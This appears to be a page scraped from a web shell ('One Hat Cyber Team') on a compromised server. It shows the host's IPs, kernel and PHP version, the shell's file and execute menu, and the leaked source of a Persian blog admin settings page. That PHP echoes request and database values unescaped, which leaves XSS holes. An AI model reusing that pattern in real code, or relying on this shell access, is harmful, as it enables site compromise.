One Hat Cyber Team
Your IP :
13.59.115.106
Server IP :
192.185.194.254
Server :
Linux raider.websitewelcome.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Server Software :
Apache
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home2
/
glenar
/
www
/
web
/
Panel
/
Pages
/
Website
/
View File Name :
setting_option.php
<?php ob_start(); session_start(); include("../../fanction.php"); $General->AjaxCheckLogin('1'); ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="../../css/bootstrap.min.css"> <link rel="stylesheet" href="../../css/bootstrap-rtl.min.css"> <link rel="stylesheet" href="../../css/reset.css"> <link rel="stylesheet" href="../../css/dataTables.bootstrap.min.css"> <link rel="stylesheet" href="../../css/bootstrap-datepicker.min.css" /> <link rel="stylesheet" href="../../css/index.css"> <link rel="stylesheet" href="../../css/font-awesome.css" media="screen"> <title>Vblog - Setting</title> </head> <body> <?php include("../../header.php"); ?> <div class="container" style="width: 100%; min-height: 100%;"> <div class="row" style="border-right: 72px solid #383A3F;"> <!-- tools start --> <?php include("../../menu.php"); ?> <!-- tools end --> <!-- main start --> <div class="pull-left main-content"> <div class="clear" style="padding-bottom: 20px;"></div> <div class="col-md-12"> <div class="panel panel-default"> <div class="panel-heading">Setting Option</div> <div class="panel-body"> <?php if(isset($_GET['action'],$_GET['CID']) && $_GET['CID'] != "" && $_GET['action'] == "edit") { $ID = $_GET['CID']; $Category_select = $Website->SelectSetting($ID); $row_Category_select = mysqli_fetch_assoc($Category_select); ?> <div id="w1" class="grid-view"> <div class="col-md-12"> <form class="do-ajax" method="post" action="../../ajax/website.php" name="login_form" enctype="multipart/form-data"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="inputState">عنوان </label> <input type="text" name="title" class="form-control" id="usr" value="<?php echo $row_Category_select['Title']; ?>" placeholder=" Name" required> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="inputState">توضیحات </label> <input type="text" name="desc" class="form-control" id="usr" value="<?php echo $row_Category_select['Description']; ?>" placeholder=" Slug" required> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="inputState">متن روزانه </label> <input type="text" name="todaytext" class="form-control" id="usr" value="<?php echo $row_Category_select['TodayText']; ?>" placeholder=" Slug" required> </div> </div> <div class="col-md-6"> <div class="form-group"> <label>انتخاب لوگو</label> <input type="file" class="form-control" name="logo" > </div> </div> </div> <button href="#" class="btn btn-login" role="button">edite</button> <hr> <input name="action" type="hidden" value="setting"/> <input name="oldpic" type="hidden" value="<?php echo $row_Category_select['Logo']; ?>"/> <input name="Lang" type="hidden" value="<?php echo $_GET['CID']; ?>"/> </form> </div> </div> <!-- --> </div> </div> <?php //insert Section } ?> <div class="col-md-12"> <div class="panel panel-default"> <div class="panel-heading"> Setting </div> <div class="panel-body"> <!-- --> <div id="w1" class="grid-view"> <div class="col-md-12"> <table id="example" class="table table-striped table-bordered" style="width:100%"> <thead> <tr> <th>عنوان</th> <th>توضیحان</th> <th>لوگو</th> <th>متن روزانه</th> <th>زبان</th> <th>عملیتات</th> </tr> </thead> <tbody> <?php $list_Setting = $Website->SelectSetting(''); $i = 0; while ($row_Setting = mysqli_fetch_assoc($list_Setting)){ $i++;?> <tr> <td> <?php echo $row_Setting['Title']; ?> </td> <td> <?php echo $row_Setting['Description']; ?> </td> <td><img src="../../../<?php echo $row_Setting['Logo']; ?>" alt="" width="80" height="80" class="avatar photo"></td> <td> <?php echo $row_Setting['TodayText']; ?> </td> <td> <?php if($row_Setting['Lang'] == 1) { echo "English"; }else{ echo "فارسی"; } ?> </td> <td> <a href="?action=edit&CID=<?php echo $row_Setting['Lang']; ?>" > <button type="button" class="btn btn-info">ویرایش</button></a> </td> </tr> <?php } ?> </tfoot> </table> </div> </div> <!-- --> </div> </div> </div> </div> </div> <!-- main end --> </div> </div> <?php include('../../footer.php'); ?> <script src="../../js/jquery-2.2.3.min.js"></script> <script src="../../js/bootstrap.min.js"></script> <script src="../../js/chart.bundle.min.js"></script> <!-- <script src="js/chart_config.js"></script> --> <script src="../../js/mycode.js"></script> <script src="../../js/jquery.dataTables.min.js"></script> <script src="../../js/dataTables.bootstrap.min.js"></script> <script> $(document).ready(function() { $('#example').DataTable(); } ); $(document).ready(function() { $(".datepicker0").datepicker(); }); $(document).ready(function () { var counter = 1; var datecounter = 5; $("#addrow").on("click", function () { var newRow = $("<tr>"); var cols = ""; cols += '<td></td>'; cols += '<td><input type="text" class="form-control" name="sessions['+counter+'][]"/></td>'; cols += '<td><input type="number" class="form-control" name="sessions['+counter+'][]"/></td>'; cols += '<td><input type="button" class="ibtnDel btn btn-md btn-danger" value=" - "></td>'; newRow.append(cols); $("table.order-list").append(newRow); counter++; datecounter++; $(".datepicker1").datepicker(); }); $("table.order-list").on("click", ".ibtnDel", function (event) { $(this).closest("tr").remove(); counter -= 1 }); }); function calculateRow(row) { var price = +row.find('input[name^="price"]').val(); } function calculateGrandTotal() { var grandTotal = 0; $("table.order-list").find('input[name^="price"]').each(function () { grandTotal += +$(this).val(); }); $("#grandtotal").text(grandTotal.toFixed(2)); } </script> </body> </html>